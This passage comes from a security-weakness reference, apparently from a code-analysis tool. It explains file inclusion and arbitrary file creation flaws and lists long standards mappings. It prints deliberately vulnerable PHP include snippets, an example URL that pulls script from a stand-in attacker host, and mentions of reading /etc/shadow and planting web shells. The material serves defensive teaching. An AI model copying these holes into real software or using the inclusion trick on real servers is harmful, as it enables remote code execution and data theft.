[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.java.dangerous_file_inclusion
Abstract
Allowing unvalidated user input to control files that are included dynamically in PHP can lead to malicious code execution.
Explanation
Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

File inclusion vulnerabilities are one of the most prolific and severe vulnerabilities in PHP applications. Prior to PHP 4.2.0, PHP installations shipped with the register_globals option enabled by default, which permits attackers to easily overwrite internal server variables. Although disabling register_globals can limit a program's exposure to file inclusion vulnerabilities, these problems still occur in modern PHP applications.

Example 1: The following code includes a file under the application defined $server_root in a template.


...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...


If register_globals is set to on, an attacker may overwrite the $server_root value by supplying $server_root as a request parameter, thereby taking partial-control of the dynamic include statement.

Example 2: The following code takes a user specified template name and includes it in the PHP page to be rendered.


...
<?php include($_GET['headername']); ?$gt;
...


In Example 2, an attacker may take complete control of the dynamic include statement by supplying a malicious value for headername, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, the contents of that file will be passed to the PHP interpreter. In the case of a plain text file, such as /etc/shadow, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.
References
[1] Using Register Globals PHP Guide
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.php.dangerous_file_inclusion
Abstract
Allowing unvalidated user input to control files that are included dynamically in an HTML file can lead to malicious code execution.
Explanation
These vulnerabilities occur when an attacker can influence the application to read (presumably arbitrary) files. This problem arises from improper validation of characters accepted by the application. Often these attacks involve the use of parent directory references ("/../../"-style notation), although sometimes an absolute/fully-qualified file name ("c:\boot.ini") can trigger the vulnerability. Failure to properly sanitize user-supplied input. A successful exploit may allow an attacker to view sensitive files on the system or execute arbitrary local scripts within the context of the affected application. Attacks involve malformed filename requests that result in reading local files from the Web server. Allow an attacker to remotely view the contents of files due to improper validation of input. Allow malicious users to view the contents of arbitrary files. Application does not verify the path to the requested file. This can allow access to files without authorization.
Attackers can recover the contents of files on the server, leading to sensitive data disclosure and potential recovery of proprietary business logic. Reveal sensitive information about a system or web application to an attacker. Potentially allow the attacker to recover application source code, system configuration information, or private data.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 97, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Path Traversal (WASC-33)
desc.dynamic.xtended_preview.dangerous_file_inclusion_local
Abstract
Allowing unvalidated user input to control files that are included dynamically in an HTML file can lead to malicious code execution.
Explanation
A remote PHP inclusion attack can allow an attacker to execute code on the server with the permissions of the process that would indicate a user of PHP, apache, or nobody. These vulnerabilities occur when an attacker can influence the application to read files from remote systems. Attackers can cause arbitrary PHP code to run on the web server. Allow for a properly crafted URL to execute code. Possibly fetching and incorporating data from arbitrary URLs supplied by an attacker. This can have multiple consequences, ranging from Cross-Site Scripting vulnerabilities to the execution of arbitrary script code.
Arbitrary command execution allows an attacker access to the server with the permissions of the web server user. This could lead to the installation of a backdoor, privilege escalation, or other malicious code. The attacker can cause the application to fetch and display arbitrary URLs, which allows the attacker to feed specific information to the application for processing and display. Many web application platforms (notably PHP) allow the interpretation of PHP script fetched from remote URLs. This can result in the attack running arbitrary script code on the web server by causing the web application to fetch a URL that returns script code.
Example 1: Requesting the URL policy.jsp?privacy=http://www.malicioushost.com/attackdata.js allows an attacker to inject malicious code into the current JSP page from a remote site controlled by the attacker.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 97, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[34] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[35] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-003300 CAT II
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dynamic.xtended_preview.dangerous_file_inclusion_remote
Abstract
An attacker will be able to create a file on the system with arbitrary contents.
Explanation
An attacker will be able to create a file in the server's file system with arbitrary contents. The file created could then be used later by the attacker in order to perform additional attacks, dependent on the ability to control the contents injected into the file.

If the attacker is capable of controlling the contents of the file and the file is served by a web server, then he will be able to inject a malicious web shell, which can let him execute arbitrary commands on the server remotely.

If the attacker may create the file with the contents from a different file in the file system, he will be able to read arbitrary files on the file system that can be accessed using the permissions of the vulnerable application.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 98, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-002754
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[31] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 073
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
